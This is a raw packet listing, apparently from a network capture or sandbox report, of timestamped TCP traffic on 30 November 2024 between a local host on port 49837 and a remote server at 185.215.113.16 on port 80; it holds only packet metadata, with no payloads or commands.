Nov 30, 2024 18:08:42.018698931 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.018743992 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.019835949 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.019876957 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.019906998 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.019967079 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.021152020 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.021198988 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.021311998 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.021358013 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.022392988 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.022437096 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.022485018 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.022530079 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.023601055 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.023638010 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.023888111 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.023931026 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.024991035 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.025047064 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.025111914 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.025156021 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.026180983 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.026241064 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.026374102 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.026422024 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.027609110 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.027659893 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.027757883 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.027796984 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.028745890 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.028789997 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.028976917 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.029021025 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.030117989 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.030175924 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.030428886 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.030494928 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.031335115 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.031387091 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.031550884 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.031596899 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.032828093 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.032881021 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.032994986 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.033041954 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.033943892 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.033989906 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.034122944 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.034173965 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.035233021 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.035274982 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.035437107 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.035480976 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.036509037 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.036552906 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.036695957 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.036739111 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.037915945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.037959099 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.037986994 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.038031101 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.039072037 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.039114952 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.039284945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.039338112 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.040488958 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.040560007 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.040692091 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.040749073 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.041832924 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.041882992 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.042013884 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.042059898 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.043102026 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.043145895 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.043292046 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.043330908 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.043840885 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.043885946 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.044054985 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.044100046 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.045164108 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.045212984 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.045375109 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.045420885 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.046531916 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.046576977 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.046700001 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.046746016 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.047718048 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.047763109 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.176878929 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.176956892 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.177120924 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.177165985 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.177623034 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.177669048 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.178050041 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.178088903 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.178818941 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.178858042 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.179100990 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.179138899 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.180120945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.180165052 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.180366039 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.180404902 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.181411028 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.181453943 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.181688070 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.181725979 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.182729006 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.182769060 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.182945967 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.182987928 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.183974981 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.184015036 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.184216022 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.184256077 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.185286045 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.185347080 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.185527086 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.185569048 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.186578035 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.186630011 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.186801910 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.186851978 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.187866926 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.187922955 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.188101053 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.188144922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.189151049 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.189218998 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.189403057 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.189445019 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.190428019 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.190480947 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.190690041 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.190731049 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.191776037 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.191824913 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.192032099 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.192069054 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.193063974 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.193099976 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.193293095 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.193332911 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.194335938 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.194389105 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.194576025 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.194624901 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.195650101 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.195698023 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.195883989 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.195924997 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.196913958 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.196955919 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.197129965 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.197171926 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.198187113 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.198240042 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.198441029 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.198487997 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.199506044 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.199563026 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.199747086 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.199790001 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.200808048 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.200855017 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.201054096 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.201098919 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.202074051 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.202126026 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.202321053 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.202364922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.203378916 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.203428984 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.203612089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.203653097 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.204653978 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.204706907 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.204902887 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.204946995 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.205982924 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.206027985 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.206207037 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.206247091 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.207237005 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.207282066 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.207479954 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.207520962 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.208528042 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.208573103 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.208779097 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.208818913 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.209836006 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.209872961 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.210073948 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.210114956 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.211103916 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.211144924 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.211739063 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.211788893 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.212615013 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.212671995 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.212876081 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.212924004 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.213804007 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.213860035 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.214030981 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.214077950 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.214984894 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.215049982 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.215238094 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.215282917 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.216325045 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.216376066 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.216576099 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.216619968 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.217607021 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.217654943 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.217803001 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.217848063 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.218971014 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.219019890 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.219183922 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.219225883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.220201969 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.220248938 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.220387936 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.220429897 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.221470118 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.221513987 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.221682072 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.221724987 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.222768068 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.222807884 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.222973108 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.223012924 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.224070072 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.224106073 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.224277020 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.224318027 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.225357056 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.225394011 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.225666046 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.225707054 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.226615906 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.226655006 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.226813078 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.226855993 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.227897882 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.227947950 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.228107929 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.228147030 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.229207039 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.229249001 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.229459047 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.229500055 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.230509996 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.230556965 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.230698109 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.230742931 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.231847048 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.231893063 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.232033014 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.232081890 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.233092070 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.233140945 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.233306885 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.233349085 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.234373093 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.234422922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.234633923 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.234679937 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.235661983 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.235702991 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.235862970 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.235902071 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.236978054 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.237019062 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.237164974 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.237205029 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.238241911 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.238281012 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.238457918 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.238492012 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.239532948 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.239567041 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.239726067 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.239759922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.244276047 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.244323015 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.244503021 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.244544983 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.245007038 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.245047092 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.245240927 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.245281935 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.246231079 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.246268988 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.246459007 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.246499062 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.247591972 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.247632980 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.378139019 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.378207922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.378360987 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.378405094 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.378772974 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.378818035 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.379105091 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.379148006 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.379851103 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.379899979 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.380139112 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.380184889 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.380785942 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.380827904 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.380995989 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.381033897 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.381828070 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.381866932 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.382075071 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.382122040 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.382909060 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.382987976 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.383147001 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.383191109 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.383964062 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.384006023 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.384124041 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.384167910 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.384988070 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.385030985 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.385200977 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.385241032 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.386065960 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.386113882 CET	49837	80	192.168.2.4	185.215.113.16
